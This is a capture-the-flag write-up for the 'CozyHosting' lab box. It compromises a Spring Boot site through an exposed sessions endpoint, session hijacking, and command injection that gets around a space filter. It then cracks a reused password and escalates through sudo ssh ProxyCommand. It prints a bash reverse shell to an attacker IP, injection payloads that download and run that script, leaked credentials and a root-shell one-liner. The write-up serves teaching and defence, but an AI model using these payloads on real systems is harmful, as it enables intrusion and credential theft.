CozyHosting
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. CozyHosting is an easy Linux box about a badly configured Spring Boot. An/errorroute returns the Whitelabel Error Page (exposed Actuator), which identifies the framework, and from there fuzzing with a framework-specific wordlist finds the exposed Actuators. Among them,/actuator/sessions, which lists the active sessions with their identifiers: copyingkanderson's into theJSESSIONIDcookie is enough to walk into the admin panel with no password. The panel has a form that runssshbehind the scenes and theusernamefield ends up on the command line: it is a command injection with a filter that only bans spaces, which${IFS}(getting around the space filter) and bash's brace syntax get around. With a shell asapp, the application's.jarkeeps the PostgreSQL password in plain text inapplication.properties; the database holds two bcrypt hashes and one falls torockyou. Andjoshcan runsudo ssh *, which is a root shell throughProxyCommand.
About the evidence. Twelve captures are published: four browser ones (the error page, the search that identifies the framework, the sessions JSON and the hijacked admin panel), one of the developer tools with the edited cookie and six of Burp with the injection requests and responses. They are interfaces, which is what the standard keeps as images. The IP changes mid-box: reconnaissance runs against10.129.229.88and, when the victim downloadsrev.sh, the server log sees it arrive from10.129.76.115. Each block carries the one that produced it.
Reconnaissance#
Initial scan#
The returning TTL hints at the operating system: every OS starts it at a default value and every router decrements it by one per hop. ttl=63 is 64 minus one hop, so it points to Linux.
ping -c 1 10.129.229.8864 bytes from 10.129.229.88: icmp_seq=1 ttl=63 time=21.5 ms
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.229.88 -oG scanStarting Nmap 7.99 ( https://nmap.org ) at 2026-10-14 23:11 +0000 Initiating SYN Stealth Scan at 23:11 Scanning 10.129.229.88 [65535 ports] Discovered open port 22/tcp on 10.129.229.88 Discovered open port 80/tcp on 10.129.229.88 Completed SYN Stealth Scan at 23:11, 13.37s elapsed (65535 total ports) Nmap scan report for 10.129.229.88 Host is up, received user-set (0.028s latency). Scanned at 2026-10-14 23:11:29 UTC for 13s Not shown: 63446 closed tcp ports (reset), 2087 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 13.47 seconds Raw packets sent: 77087 (3.392MB) | Rcvd: 64200 (2.568MB)
nmap -p22,80 -sCV 10.129.229.88 -oN targetedScanStarting Nmap 7.99 ( https://nmap.org ) at 2026-10-14 23:12 +0000 Nmap scan report for 10.129.229.88 Host is up (0.030s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA) |_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://cozyhosting.htb |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.38 seconds
Port 80 redirects to cozyhosting.htb, and whatweb proves it by failing: it follows the redirect and cannot resolve the name.
whatweb http://10.129.229.88ERROR Opening: http://cozyhosting.htb - no address for cozyhosting.htb http://10.129.229.88 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.229.88], RedirectLocation[http://cozyhosting.htb], Title[301 Moved Permanently], nginx[1.18.0]
echo '10.129.229.88 cozyhosting.htb' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts10.129.229.88 cozyhosting.htb
whatweb http://cozyhosting.htb/http://cozyhosting.htb/ [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], Email[info@cozyhosting.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.229.88], Lightbox, Script, Title[Cozy Hosting - Home], UncommonHeaders[x-content-type-options], X-Frame-Options[DENY], X-XSS-Protection[0], nginx[1.18.0]
A route with a 500 error#
Directory fuzzing gives four routes, and the interesting one is not the 200 but the 500.
ffuf -u 'http://cozyhosting.htb/FUZZ' -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -fs 12706 -ac -t 200... login [Status: 200, Size: 4431, Words: 1718, Lines: 97, Duration: 664ms] admin [Status: 401, Size: 97, Words: 1, Lines: 1, Duration: 89ms] logout [Status: 204, Size: 0, Words: 1, Lines: 1, Duration: 2266ms] error [Status: 500, Size: 73, Words: 1, Lines: 1, Duration: 1112ms]
Opening /error in the browser returns a page with a name of its own.


The Whitelabel Error Page is Spring Boot's default error. And Spring Boot ships a family of diagnostic routes of its own, the Actuators, which do not appear in a generic directory wordlist: you have to fuzz with a specific one.
ffuf -u 'http://cozyhosting.htb/FUZZ' -w /usr/share/wordlists/SecLists/Discovery/Web-Content/spring-boot.txt -fs 12706 -ac -t 200... actuator/env/lang [Status: 200, Size: 487, Words: 13, Lines: 1, Duration: 40ms] actuator/env/home [Status: 200, Size: 487, Words: 13, Lines: 1, Duration: 42ms] actuator/env/path [Status: 200, Size: 487, Words: 13, Lines: 1, Duration: 328ms] actuator [Status: 200, Size: 634, Words: 1, Lines: 1, Duration: 330ms] actuator/health [Status: 200, Size: 15, Words: 1, Lines: 1, Duration: 346ms] actuator/sessions [Status: 200, Size: 498, Words: 1, Lines: 1, Duration: 341ms] actuator/mappings [Status: 200, Size: 9938, Words: 108, Lines: 1, Duration: 370ms] actuator/beans [Status: 200, Size: 127224, Words: 542, Lines: 1, Duration: 315ms] actuator/env [Status: 200, Size: 4957, Words: 120, Lines: 1, Duration: 50ms]
Access as kanderson#
Spring Boot Actuator: /actuator/sessions#
/actuator/sessions returns a JSON with one entry per active session: the key is the identifier and the value is the user. Almost all are unauthenticated, but one has a name.


A session cookie is the authentication. No password needed: swap our JSESSIONID value for kanderson's and the browser becomes kanderson (session hijacking).


The /admin that used to return 401 now loads.
Shell as app#
Command injection in Username#
The panel has an "Include host into automatic patching" section with two fields, Hostname and Username. The error message on submit is the first hint of what sits behind it.

"Username can't contain whitespaces!". A field that worries about spaces is a field that ends up on a command line. We confirm it by sending a ;$(id) from Burp: the response redirects to an error page that includes the command's output.

The line 1: uid=1001(app):: command not found error says it all: the application builds an ssh ... <username>@<host>, our $(id) runs first, and its output is then tried as a command in turn. That is command injection with the output visible in the error.
Next is seeing what the box has available. nc exists:

Getting around the space filter#
The filter only bans the space character, so there are two ways to write a command without one:
${IFS}, bash's internal field separator variable, whose default value includes the space. When it expands, bash splits the arguments.- Brace syntax,
{command,arg1,arg2}, which bash expands into a space-separated list.
We prepare the reverse shell on Kali.
nano rev.shcat rev.sh#!/bin/bash bash -i >& /dev/tcp/10.10.15.120/4444 0>&1
python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
And we pull it onto the victim with the first payload, using ${IFS} in all three spaces:
host=127.0.0.1&username=;$(wget${IFS}http://10.10.15.120/rev.sh${IFS}-O${IFS}/tmp/rev.sh)
The Kali server logs the download, and here the IP change shows up: the box arrives from 10.129.76.115, not the one from the scan.
python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.129.76.115 - - [15/Oct/2026 16:07:28] "GET /rev.sh HTTP/1.1" 200 -
Execute permission, this time with brace syntax (the + travels as %2b because it goes inside an x-www-form-urlencoded body):
host=127.0.0.1&username=;$({chmod,%2bx,/tmp/rev.sh})
penelope[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.68.114 • 172.17.0.1 • 10.10.15.120 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
And the trigger:
host=127.0.0.1&username=;$({bash,/tmp/rev.sh})
...
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
app@cozyhosting:/$ id
uid=1001(app) gid=1001(app) groups=1001(app)
app@cozyhosting:/app$ alias ls="ls -la"Shell as josh#
The application's .jar#
lstotal 58856 drwxr-xr-x 2 root root 4096 Aug 14 2023 . drwxr-xr-x 19 root root 4096 Aug 14 2023 .. -rw-r--r-- 1 root root 60259688 Aug 11 2023 cloudhosting-0.0.1.jar
python3 -m http.serverServing HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
wget http://cozyhosting.htb:8000/cloudhosting-0.0.1.jar... 2026-10-15 16:54:29 (1.98 MB/s) - ‘cloudhosting-0.0.1.jar’ saved [60259688/60259688]
A .jar is a zip, so nothing needs decompiling to look inside.
unzip cloudhosting-0.0.1.jarArchive: cloudhosting-0.0.1.jar creating: META-INF/ inflating: META-INF/MANIFEST.MF creating: org/ creating: org/springframework/ creating: org/springframework/boot/ creating: org/springframework/boot/loader/ inflating: org/springframework/boot/loader/ClassPathIndexFile.class inflating: org/springframework/boot/loader/ExecutableArchiveLauncher.class inflating: org/springframework/boot/loader/JarLauncher.class inflating: org/springframework/boot/loader/LaunchedURLClassLoader$DefinePackageCallType.class inflating: org/springframework/boot/loader/LaunchedURLClassLoader$UseFastConnectionExceptionsEnumeration.class ...
grep -ri password .grep: ./BOOT-INF/lib/spring-security-crypto-6.0.1.jar: binary file matches grep: ./BOOT-INF/lib/spring-security-core-6.0.1.jar: binary file matches grep: ./BOOT-INF/lib/postgresql-42.5.1.jar: binary file matches grep: ./BOOT-INF/lib/spring-webmvc-6.0.4.jar: binary file matches grep: ./BOOT-INF/lib/tomcat-embed-core-10.1.5.jar: binary file matches grep: ./BOOT-INF/lib/thymeleaf-spring6-3.1.1.RELEASE.jar: binary file matches grep: ./BOOT-INF/lib/spring-security-web-6.0.1.jar: binary file matches grep: ./BOOT-INF/lib/spring-security-config-6.0.1.jar: binary file matches ./BOOT-INF/classes/application.properties:spring.datasource.password=Vg&nvzAQ7XxR ./BOOT-INF/classes/templates/login.html: <label for="yourPassword" class="form-label">Password</label> ./BOOT-INF/classes/templates/login.html: <input type="password" name="password" class="form-control" id="yourPassword" ./BOOT-INF/classes/templates/login.html: <div class="invalid-feedback">Please enter your password!</div> ./BOOT-INF/classes/templates/login.html: <p th:if="${param.error}" class="text-center small">Invalid username or password</p> grep: ./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.ttf: binary file matches ./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.symbol.svg:</symbol><symbol viewBox="0 0 24 24" id="ri-lock-password-fill"> ./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.symbol.svg:</symbol><symbol viewBox="0 0 24 24" id="ri-lock-password-line"> grep: ./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.eot: binary file matches ./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.svg: <glyph glyph-name="lock-password-fill" ./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.svg: <glyph glyph-name="lock-password-line" ./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.less:.ri-lock-password-fill:before { content: "\eecf"; } ./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.less:.ri-lock-password-line:before { content: "\eed0"; } ./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.css:.ri-lock-password-fill:before { content: "\eecf"; } ./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.css:.ri-lock-password-line:before { content: "\eed0"; } grep: ./BOOT-INF/classes/htb/cloudhosting/scheduled/FakeUser.class: binary file matches grep: ./BOOT-INF/classes/htb/cloudhosting/secutiry/SecurityConfig.class: binary file matches grep: ./BOOT-INF/classes/htb/cloudhosting/database/CozyUser.class: binary file matches grep: ./BOOT-INF/classes/htb/cloudhosting/database/CozyUserDetailsService.class: binary file matches grep: ./cloudhosting-0.0.1.jar: binary file matches
Amid the noise, one plain-text line: application.properties.
cat BOOT-INF/classes/application.propertiesserver.address=127.0.0.1 server.servlet.session.timeout=5m management.endpoints.web.exposure.include=health,beans,env,sessions,mappings management.endpoint.sessions.enabled = true spring.datasource.driver-class-name=org.postgresql.Driver spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect spring.jpa.hibernate.ddl-auto=none spring.jpa.database=POSTGRESQL spring.datasource.platform=postgres spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting spring.datasource.username=postgres spring.datasource.password=Vg&nvzAQ7XxR
Two things. The PostgreSQL password in plain text (credentials in source), and line 3: that is the configuration that exposed the Actuators, with sessions explicitly included.
PostgreSQL: the bcrypt hashes in users#
psql -h 127.0.0.1 -U postgres -d cozyhostingPassword for user postgres: psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1)) SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off) Type "help" for help. cozyhosting=# \dt List of relations Schema | Name | Type | Owner --------+-------+-------+---------- public | hosts | table | postgres public | users | table | postgres (2 rows) cozyhosting=# select * from users; name | password | role -----------+--------------------------------------------------------------+------- kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin (2 rows)
Two bcrypt hashes ($2a$10$). One of them falls to the usual wordlist.
john --wordlist=/usr/share/wordlists/rockyou.txt hash... manchesterunited (?) ...
That password does not open the application: it opens the system, and not with the user who owned it. The box has a josh, and the credential is reused.
ssh josh@cozyhosting.htb... josh@cozyhosting:~$ cat user.txt; whoami; hostname; ip a d3d85cb4251629d9b5df8b6b243b3775 josh cozyhosting 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether a2:de:ad:ff:5f:83 brd ff:ff:ff:ff:ff:ff altname enp3s0 altname ens160 inet 10.129.76.115/16 brd 10.129.255.255 scope global dynamic eth0 valid_lft 3003sec preferred_lft 3003sec inet6 dead:beef::a0de:adff:feff:5f83/64 scope global dynamic mngtmpaddr valid_lft 86399sec preferred_lft 14399sec inet6 fe80::a0de:adff:feff:5f83/64 scope link valid_lft forever preferred_lft forever
Shell as root#
sudo ssh *#
sudo -l[sudo] password for josh: Matching Defaults entries for josh on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User josh may run the following commands on localhost: (root) /usr/bin/ssh *
The asterisk allows any argument, and ssh has one that is not for connecting anywhere: ProxyCommand, which names the program ssh should run to open the channel to the destination. That program is launched by ssh, that is, by root (sudo abuse).
sudo ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x# bash root@cozyhosting:/home/josh# whoami root root@cozyhosting:/home/josh# cd root@cozyhosting:~# cat root.txt e56588dbb079d551f73ee1ba748b93ea
The 0<&2 1>&2 redirects the /bin/sh's input and output to descriptor 2, which is the one ssh leaves attached to our terminal; without it the shell would be born mute. The trailing x is the destination, and it does not matter: ssh never gets to connect.
cat root.txt; whoami; ip a; hostnamee56588dbb079d551f73ee1ba748b93ea root 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether a2:de:ad:ff:5f:83 brd ff:ff:ff:ff:ff:ff altname enp3s0 altname ens160 inet 10.129.76.115/16 brd 10.129.255.255 scope global dynamic eth0 valid_lft 2622sec preferred_lft 2622sec inet6 dead:beef::a0de:adff:feff:5f83/64 scope global dynamic mngtmpaddr valid_lft 86397sec preferred_lft 14397sec inet6 fe80::a0de:adff:feff:5f83/64 scope link valid_lft forever preferred_lft forever cozyhosting
Box rooted.
Attack chain#
HTTP (80) ─► redirige a cozyhosting.htb ─► /etc/hosts
│ ffuf ─► /error devuelve 500: Whitelabel Error Page ─► Spring Boot
▼
ffuf con spring-boot.txt ─► /actuator/sessions EXPUESTO
│ JSON con los id de sesion ─► el de kanderson
▼
cambiar la cookie JSESSIONID ─► /admin sin contrasena
│ formulario que ejecuta ssh ─► "Username can't contain whitespaces!"
▼
inyeccion de comandos con ${IFS} y {a,b,c} ─► wget + chmod + bash ─► shell como app
│ cloudhosting-0.0.1.jar ─► unzip ─► application.properties
▼
spring.datasource.password=Vg&nvzAQ7XxR ─► psql ─► dos bcrypt
│ john ─► manchesterunited ─► ssh josh ─► user.txt
▼
sudo -l: (root) /usr/bin/ssh * ─► ProxyCommand ─► root.txtLessons learned#
- An error page is a fingerprint. The Whitelabel Error Page leaks no data, but it names the framework underneath, and that changes the wordlist you need. Generic fuzzing would never have found
/actuator/sessions. - Spring Boot's Actuators are diagnostic endpoints, not public ones.
application.propertiesexposed them by hand,sessionsincluded. An endpoint listing active sessions with their identifiers is, literally, a credential dispenser. - A session cookie is the whole authentication. No password had to be broken to become
kanderson: pasting their identifier into the cookie was enough. Which is why a session identifier must be treated as a secret, and rotated on authentication. - Banning the space is not filtering.
${IFS}and{a,b,c}write any command without a single space. The defence is not a character blacklist: it is not building the command line out of user text. - A
.jaris a zip. No decompiler was needed:unzipplus agrep -ri passwordgave the database password inapplication.properties. Secrets do not live in the artefact you deploy. sudowith a wildcard issudowith no restriction.(root) /usr/bin/ssh *looks narrow and is not:ProxyCommandturnssshinto a process launcher. Ifsudomust be granted over a binary, the exact arguments go with it.